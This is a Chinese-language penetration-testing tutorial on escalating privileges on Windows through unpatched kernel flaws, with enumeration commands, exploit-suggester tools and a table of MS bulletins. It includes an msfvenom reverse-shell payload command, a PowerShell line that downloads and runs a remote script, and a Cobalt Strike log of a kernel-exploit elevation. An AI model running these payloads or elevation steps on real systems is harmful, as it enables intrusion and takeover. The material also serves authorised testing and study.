系統內核溢出提權

2021-02-14 黑白之道

文章前言 

        在後滲透測試階段,權限提升是一個繞不開的話題,其中"系統內核溢出提權"因其利用便捷 成為了最為常用的方法,在使用該方法提權時我們只需要去查看目標系統中打了那些系統補 丁,之後去找補丁的"互補"補丁,並利用對應的提權類的漏洞實現權限提升,本篇文章主要 圍繞"系統內核溢出提權"的一些方法、思路進行簡易介紹~ 

權限查看 

       在獲取到目標系統的shell後,我們需要先確認以下當前用戶以及用戶權限,這一點可以通過 在shell中輸入"whoami"以及"whoami /groups"來確定:

從上面的顯示結果可以看到當前用戶為"win­op8vb0nlure\al1ex",權限為"Mandatory Label\Medium Mandatory Level",而這裡的"Mandatory Label\Medium Mandatory Level"是 一個標準的普通用戶權限,而我們再提權階段要做得就是將此處的"Medium Mandatory Level"提升為"High Mandatory Level"。

補丁查詢 

        利用系統溢出漏洞進行提權的關鍵是通過查看系統的補丁信息來找尋缺失的、可以利用來提 權的補丁進行提權,下面介紹幾種常見的補丁查詢思路與方法

系統命令查看 

       在Windows作業系統中我們可以通過執行systeminfo來查看目標機器上安裝的補丁信息:

從上圖可以看到這裡安裝了三個補丁: 

[01]: KB2534111 

[02]: KB2999226 

[03]: KB976902 

同時我們也可以通過WMIC來快速查看當前系統安裝的補丁信息:

wmic qfe get Caption,Description,HotFixID,InstalledOn

如果想要查詢系統是否安裝某一個特定的補丁,可以通過以下命令進行簡易查詢: 

wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /c:"KB2534111"

        既然已經確定了當前系統的補丁信息,那麼後續如何利用呢?當然是去查找缺失的、可以利 用的補丁了!但是怎麼找呢?不可能在茫茫大海中找吧?當然不是,這裡推薦一個輔助網 站:https://bugs.hacking8.com/tiquan/

        我們可以在"補丁號"選項框中輸入當前系統的補丁信息,之後進行查詢來獲取當前系統的缺 失的、可以利用的補丁信息,這裡以上面查詢的補丁信息為例:

        之後可以根據補丁來推薦相關的漏洞利用EXP,不過在使用EXP時還需要主要影響的作業系統:

關於提權類的EXP,這裡推薦一個項目:

        該項目源自SecWiki維護的Windows­kernel­exploit,但是由於原作者不再更新與維護所以後 期由筆者重新進行構建維護,同時也涵蓋了Bypass UAC系列,目前還在不斷的更新與完善 中,同時該項目也主要用於收集網絡上公開的各大有價值的漏洞EXP/POC~

MSF框架查看 

MSF框架中自帶提權輔助功能模塊——post/windows/gather/enum_pathes,該模塊會根據 漏洞編號快速查找目標系統中的補丁信息,下面以目標主機為例做一個簡單的演示:

首先,我們需要獲取目標主機的一個Shell,這裡我們再測試環境中直接通過MSFvenom來 生成Payload:

msfvenom ‐p windows/meterpreter/reverse_tcp LHOST=192.168.188.129 LPORT=4444 ‐f exe > shell.exe 

在MSF中設置監聽:

目標主機中執行EXE

成功返回會話:

在Meterpreter中執行如下命令即可查看系統補丁信息(老版本的會給出可用的EXP, MSF5好像不提供了):

run post/windows/gather/enum_patches

於此同時,我們也可以通過執行以下命令來查看目標系統可用的漏洞,之後探尋提權EXP:

run post/multi/recon/local_exploit_suggester

Empire內置模塊 

Empire框架也提供了關於內核溢出漏洞提權的漏洞利用方法,下面進行簡單演示: 

usemodule privesc/powerup/allchecks execute


PS:總體來看效果不是很理想,不如MSF~

PowerShell腳本 

Sherlock(https://github.com/rasta­mouse/Sherlock)

是一個在Windows下用於本地提權的 PowerShell腳本,目前包含了以下漏洞:

MS10­015 : User Mode to Ring (KiTrap0D)

MS10­092 : Task Scheduler

MS13­053 : NTUserMessageCall Win32k Kernel Pool Overflow 

MS13­081 : TrackPopupMenuEx Win32k NULL Page 

MS14­058 : TrackPopupMenu Win32k Null Pointer Dereference 

MS15­051 : ClientCopyImage Win32k 

MS15­078 : Font Driver Buffer Overflow 

MS16­016 : 'mrxdav.sys' WebDAV 

MS16­032 : Secondary Logon Handle 

MS16­034 : Windows Kernel­Mode Drivers EoP 

MS16­135 : Win32k Elevation of Privilege 

CVE­2017­7199 : Nessus Agent 6.6.2 ­ 6.10.3 Priv Esc 

該工具的利用也是較為簡單,首先下載項目到本地,之後再終端調用Sherlock(獲取 webshell的主機中直接上傳即可):

Import‐Module .\Sherlock.ps1

當然也可以遠程加載:

IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1')

之後執行以下命令來列舉當前系統中所有可利用的漏洞:

當然你也可以搜索某一個特定漏洞,例如: 

根據Sherlock的說明目前CS已經可以實現" 導入模塊——>查詢單一漏洞——>直接提權 "的 一套流程了,下面是Github中的實例:

beacon> getuid[*] Tasked beacon to get userid[+] host called home, sent: 20 bytes 4 [*] You are Win7‐x64\Rasta
beacon> powershell‐import C:\Users\Rasta\Desktop\Sherlock.ps1  [*] Tasked beacon to import: C:\Users\Rasta\Desktop\Sherlock.ps1  [+] host called home, sent: 2960 bytes   beacon> powershell Find‐MS14058 [*] Tasked beacon to run: Find‐MS14058 [+] host called home, sent: 20 bytes [+] received output:  Title  : TrackPopupMenu Win32k Null Pointer Dereference  MSBulletin : MS14‐058  CVEID  : 2014‐4113  Link  : https://www.exploit‐db.com/exploits/35101/  VulnStatus : Appears Vulnerable     beacon> elevate ms14‐058 smb  [*] Tasked beacon to elevate and spawn windows/beacon_smb/bind_pipe  (127.0.0.1:[+] host called home, sent: 105015 bytes  [+] received output:  [*] Getting Windows version...  [*] Solving symbols...  [*] Requesting Kernel loaded modules...  [*] pZwQuerySystemInformation required length 51216  [*] Parsing SYSTEM_INFO...  [*] 173 Kernel modules found  [*] Checking module \SystemRoot\system32\ntoskrnl.exe  [*] Good! nt found as ntoskrnl.exe at 0x0264f000  [*] ntoskrnl.exe loaded in userspace at: 40000000  [*] pPsLookupProcessByProcessId in kernel: 0xFFFFF800029A21FC  [*] pPsReferencePrimaryToken in kernel: 0xFFFFF800029A59D0  [*] Registering class...  [*] Creating window...  [*] Allocating null page...  [*] Getting PtiCurrent...  [*] Good! dwThreadInfoPtr 0xFFFFF900C1E7B8B0  

PS:關於該Powershell的利用還有很多單一漏洞的查詢,讀者可以根據源碼進行分析~ 

Windows Exploit Suggester 

工具介紹 

    

    Windows­Exploit­Suggester(https://github.com/GDSSecurity/Windows­Exploit­Suggester ) 是受Linux_Exploit_Suggester的啟發而開發的一款提權輔助工具,它是用python開發而 成,運行環境是python3.3及以上版本,且必須安裝xlrd,其主要功能是通過比對systeminfo 生成的文件,從而發現系統是否存在未修復漏洞。 

工具原理 

        Windows­Exploit­Suggester通過下載微軟公開漏洞庫到本地「生成日期+mssb.xls」文件,然 後根據作業系統版本,跟systeminfo生成的文件進行比對。微軟公開漏洞庫下載地 址:http://www.microsoft.com/en­gb/download/confirmation.aspx?id=36982 。同時此工具 還會告知用戶針對於此漏洞是否有公開的exp和可用的Metasploit模塊。 

工具安裝 

安裝依賴xlrd: 

下載Windows­Exploit­Suggester項目到本地:

更新漏洞庫

        之後執行以下命令,自動從微軟官網下載安全公告資料庫,下載的文件會自動保存在當前目錄下:

./windows‐exploit‐suggester.py ‐‐update


獲取系統信息 

        之後在目標系統中獲取systeminfo信息並將其保存到一個txt文件夾中:

系統漏洞檢索

        之後將目標系統中的sysinfo.txt文件複製出來,到安裝有Windows­Exploit­Suggester的主機 上去執行如下命令,查詢系統中存在的可用漏洞信息,這裡的參數d為指定漏洞庫,也就是 之前跟新漏洞庫後的xlsx文件:

./windows‐exploit‐suggester.py ‐d 2020‐09‐09‐mssb.xls ‐i sysinfo.txt

總體上效果還不錯,挺讓人滿意的,不過該工具也有一個缺點——更新資料庫後下載的數據 庫最新的2017年的,有點局限。

補丁列表 

最後給出一個常用的補丁列表信息,可能數據有點成舊哈~


CVE-2017-0213 [Windows COM Elevation of Privilege Vulnerability]  (windows 10/8.1/7/2016/2010/2008)
MS17-010  [KB4013389]  [Windows Kernel Mode Drivers]  (windows 7/2008/2003/XP)
MS16-135  [KB3199135]  [Windows Kernel Mode Drivers]  (2016)
MS16-098  [KB3178466]  [Kernel Driver]  (Win 8.1)
MS16-075  [KB3164038]  [Hot Potato]  (2003/2008/7/8/2012)
MS16-032  [KB3143141]  [Secondary Logon Handle]  (2008/7/8/10/2012)
MS16-016  [KB3136041]  [WebDAV]  (2008/Vista/7)
MS15-097  [KB3089656]  [remote code execution]  (win8.1/2012)
MS15-076  [KB3067505]  [RPC]  (2003/2008/7/8/2012)
MS15-077  [KB3077657]  [ATM]  (XP/Vista/Win7/Win8/2000/2003/2008/2012)
MS15-061  [KB3057839]  [Kernel Driver]  (2003/2008/7/8/2012)
MS15-051  [KB3057191]  [Windows Kernel Mode Drivers]  (2003/2008/7/8/2012)
MS15-010  [KB3036220]  [Kernel Driver]  (2003/2008/7/8)
MS15-015  [KB3031432]  [Kernel Driver]  (Win7/8/8.1/2012/RT/2012 R2/2008 R2)
MS15-001  [KB3023266]  [Kernel Driver]  (2008/2012/7/8)
MS14-070  [KB2989935]  [Kernel Driver]  (2003)
MS14-068  [KB3011780]  [Domain Privilege Escalation]  (2003/2008/2012/7/8)
MS14-058  [KB3000061]  [Win32k.sys]  (2003/2008/2012/7/8)
MS14-040  [KB2975684]  [AFD Driver]  (2003/2008/2012/7/8)
MS14-002  [KB2914368]  [NDProxy]  (2003/XP)
MS13-053  [KB2850851]  [win32k.sys]  (XP/Vista/2003/2008/win 7)
MS13-046  [KB2840221]  [dxgkrnl.sys]  (Vista/2003/2008/2012/7)
MS13-005  [KB2778930]  [Kernel Mode Driver]  (2003/2008/2012/win7/8)
MS12-042  [KB2972621]  [Service Bus]  (2008/2012/win7)
MS12-020  [KB2671387]  [RDP]  (2003/2008/7/XP)
MS11-080  [KB2592799]  [AFD.sys]  (2003/XP)
MS11-062  [KB2566454]  [NDISTAPI]  (2003/XP)
MS11-046  [KB2503665]  [AFD.sys]  (2003/2008/7/XP)
MS11-011  [KB2393802]  [kernel Driver]  (2003/2008/7/XP/Vista)
MS10-092  [KB2305420]  [Task Scheduler]  (2008/7)
MS10-065  [KB2267960]  [FastCGI]  (IIS 5.1, 6.0, 7.0, and 7.5)
MS10-059  [KB982799]   [ACL-Churraskito]  (2008/7/Vista)
MS10-048  [KB2160329]  [win32k.sys]  (XP SP2 & SP3/2003 SP2/Vista SP1 & SP2/2008 Gold & SP2 & R2/Win7)
MS10-015  [KB977165]   [KiTrap0D]  (2003/2008/7/XP)
MS09-050  [KB975517]   [Remote Code Execution]  (2008/Vista)
MS09-020  [KB970483]   [IIS 6.0]  (IIS 5.1 and 6.0)
MS09-012  [KB959454]   [Chimichurri]  (Vista/win7/2008/Vista)
MS08-068  [KB957097]   [Remote Code Execution]  (2000/XP)
MS08-067  [KB958644]   [Remote Code Execution]  (Windows 2000/XP/Server 2003/Vista/Server 2008)
MS08-025  [KB941693]   [Win32.sys]  (XP/2003/2008/Vista)
MS06-040  [KB921883]   [Remote Code Execution]  (2003/xp/2000)
MS05-039  [KB899588]   [PnP Service]  (Win 9X/ME/NT/2000/XP/2003)
MS03-026  [KB823980]   [Buffer Overrun In RPC Interface]  (/NT/2000/XP/2003)

相關焦點

  • 強網杯真題實例分析丨Linux內核提權技術
    , 例如:Linux系統內核指的是一個由Linus Torvalds負責維護,提供硬體抽象層、硬碟及文件系統控制及多任務功能的系統核心程序。Linux內核提權技術隨著時代的發展也在不斷推陳出新,尤其是Android內核提權,更是影響到了Linux內核提權技術的發展。今天,i春秋通過一期公開課《Linux內核的花花世界》對Linux內核提權技術進行簡單的回顧總結,以及分析Linux內核提權在嵌入式設備如MIPS架構上的應用。
  • Windows提權的幾種常用姿勢
    Windows常用的提權方式有:內核提權、資料庫提權、系統配置錯誤提權、組策略首選項提權、Bypass UAC提權、令牌竊取提權等姿勢。1、內核溢出漏洞提權由於目標系統沒有及時安裝補丁,攻擊者可以利用Windows系統內核溢出漏洞進行提權,輕易獲取system權限。
  • Windows 系統提權方式匯總
    提權基礎在提權之前首先要做的是對系統的作業系統信息做一些信息收集,關於信息收集的介紹請看之前的文章《Windows環境下的信息收集》,這裡簡單提一下這幾條命令:systeminfo | findstr OS #獲取系統版本信息hostname #獲取主機名稱whomai /priv #顯示當前用戶的安全特權quser or query
  • Linux提權
    sudo是linux系統管理指令,是允許系統管理員讓普通用戶執行一些或者全部的root命令的一個工具,如halt,reboot,su等等。這樣不僅減少了root用戶的登錄 和管理時間,同樣也提高了安全性。sudo不是對shell的一個代替,它是面向每個命令的。sudo的幾個特點:        • sudo能夠限制用戶只在某臺主機上運行某些命令。
  • 【Linux內核漏洞利用】強網杯2018-solid_core-任意讀寫
    3.新的攻擊方法內核和用戶空間共享的代碼空間-VDSO( Virtual Dynamic Shared Object,虛擬動態共享對象)。VDSO是內核為了減少內核與用戶空間頻繁切換,提高系統調用效率而提出的機制。特別是gettimeofday這種對時間精度要求特別高的系統調用,需要儘可能地減少用戶空間到內核空間堆棧切換的開銷。
  • 紅隊測試之Windows提權小結
    本文與「酒仙橋六號部隊」的公眾號文章《紅隊測試之Linux提權小結》是兄弟篇,本節主要針對Windows作業系統下的權限提升進行介紹,提權是後滲透重要的一環節,在權限較低的情況下,站在攻擊者的視角進行內部網絡安全測試、系統安全測試、應用安全測試等方面會出現「束縛」,所測試出的質量與結果也會不同。
  • 別人的提權筆記,個人覺的很不錯!值得收藏
    在aspx大馬裡,點擊「系統信息」第三個就是目前的3389埠或是執行命令查看正在運行的服務:tasklist /svc找到:svchost.exe 1688 TermService記住1688這個ID值,查看開放的所有埠:netstat -ano找到1688這個ID值所對應的埠就是
  • 【技術分享】Kernel提權方法之modprobe_path覆寫
    modprobe_path是用於在Linux內核中添加可加載的內核模塊,當我們在Linux內核中安裝或卸載新模塊時,就會執行這個程序。
  • Linux內核攻擊面之eBPF模塊
    0x00 前言eBPF是Linux內核中的一個模塊,主要作用是實現包過濾功能。由於eBPF提供了一種從用戶面到Linux內核的接口,用戶編寫的eBPF程序可以在內核提供的虛擬機中執行,因此eBPF也是一個重要的內核提權的攻擊面。本文將詳細敘述eBPF的基本原理和實現方法,對eBPF內核提權漏洞CVE-2020-8835的Root Cause進行詳細的分析。
  • [系統安全] 九.Windows漏洞利用之MS08-067遠程代碼執行漏洞復現及深度提權
    二.環境搭建1.環境準備受害機:Windows XP SP1鏡像攻擊機:Kali系統第一步,在虛擬機中安裝Windows XP SP1系統和Kali系統。只要運行的程序向系統提出訪問網絡的申請,那麼系統就可以從這些埠號中分配一個供該程序使用。比如1024埠就是分配給第一個向系統發出申請的程序,在關閉程序進程後,就會釋放所佔用的埠號。注意,埠衝突就不能正常工作。
  • 內核進擊之旅--HEVD--stackoverflow
    Windows內核攻擊。可以看到eip被覆蓋成了 0x32323232 即輸入字符串中的'2'*4shellcode一開始學的shellcode就是替換cmd進程token為system的token,達到提權的目的。為了獲取token,需要對windows內核的結構體有些了解。
  • 如何在Android 4.4以上版本DIY提權程序?
    本期「安仔課堂」,ISEC實驗室劉老師手把手教你:如何在Android 4.4以上版本DIY提權程序?Android的提權程序實際上是手機系統分區中的一個su可執行程序。Android系統是基於linux內核,su相當於Linux下獲取ROOT權限的命令,執行su命令後,當前用戶會被切換成ROOT用戶。
  • 【技術文章】泰凌藍牙8258 RAM溢出分析
    system stack空間會根據用戶在函數嵌套的層次,以及局部變量大小進行變化的,所以system stack空間大小需要實際調試後才能準確知道(具體見RAM溢出章節)。RAM區域,而越界使用了BSS區或者其他RAM區導致系統崩潰。
  • Linux文件系統層中的本地提權漏洞(CVE-2021-33909)
    點擊上方藍字關注我們Qualys研究人員在Linux內核文件系統層中,發現了一個影響大多數Linux
  • linux內核調優詳解
    conf.default.rp_filter = 1                            開啟反向路徑過濾net.ipv4.conf.default.accept_source_route = 0      處理無源路由的包kernel.sysrq = 0                                                      控制系統調試內核的功能要求
  • VHAdmin虛擬主機提權實戰案例
    0x01 前言朋友發過來的是一個ASP Webshell,我們先用中國菜刀連接Webshell看下是否能夠直接執行系統命令
  • 主要內核安全更新來了
    在今天的Ubuntu 14.04 LTS系統及衍生版內核更新中,共修復了26個安全缺陷,其中包括Linux內核的F2F(Flash-Friendly File System)文件系統中的越界寫入漏洞,Linux內核的ALSA PCM子系統中的釋放後使用缺陷以及Linux內核的sysfs接口中針對QLogic 24xx +系列SCSI驅動程序。
  • 乾貨|Windows提權方法匯總
    如果我們能修改服務的 BINARY_PATH_NAME 屬性(這個屬性用於指向服務的二進位文件),我們就可以通過設置 BINARY_PATH_NAME 的值為系統命令,然後重啟服務時我們的系統命令會被執行。對於後者,我們需要一款工具來快速揭示出我們能修改哪些服務的屬性。這個工具我們採用accesschk.exe,它是微軟產出的,基本不會報毒。
  • 《入侵生命周期細分實踐指南》:sudo提權攻擊
    5)持久化攻擊者在對資產進行惡意操作後,為了能夠減少再次連接的攻擊成本,方便下次進入,會進行「留後門」的操作,常見的後門如:建立計劃任務,定時連接遠程伺服器;設置開機啟動程序,在每次開機時觸發執行特定惡意程序;新建系統管理員帳號等。這樣便於攻擊者下次快速登錄並控制該系統。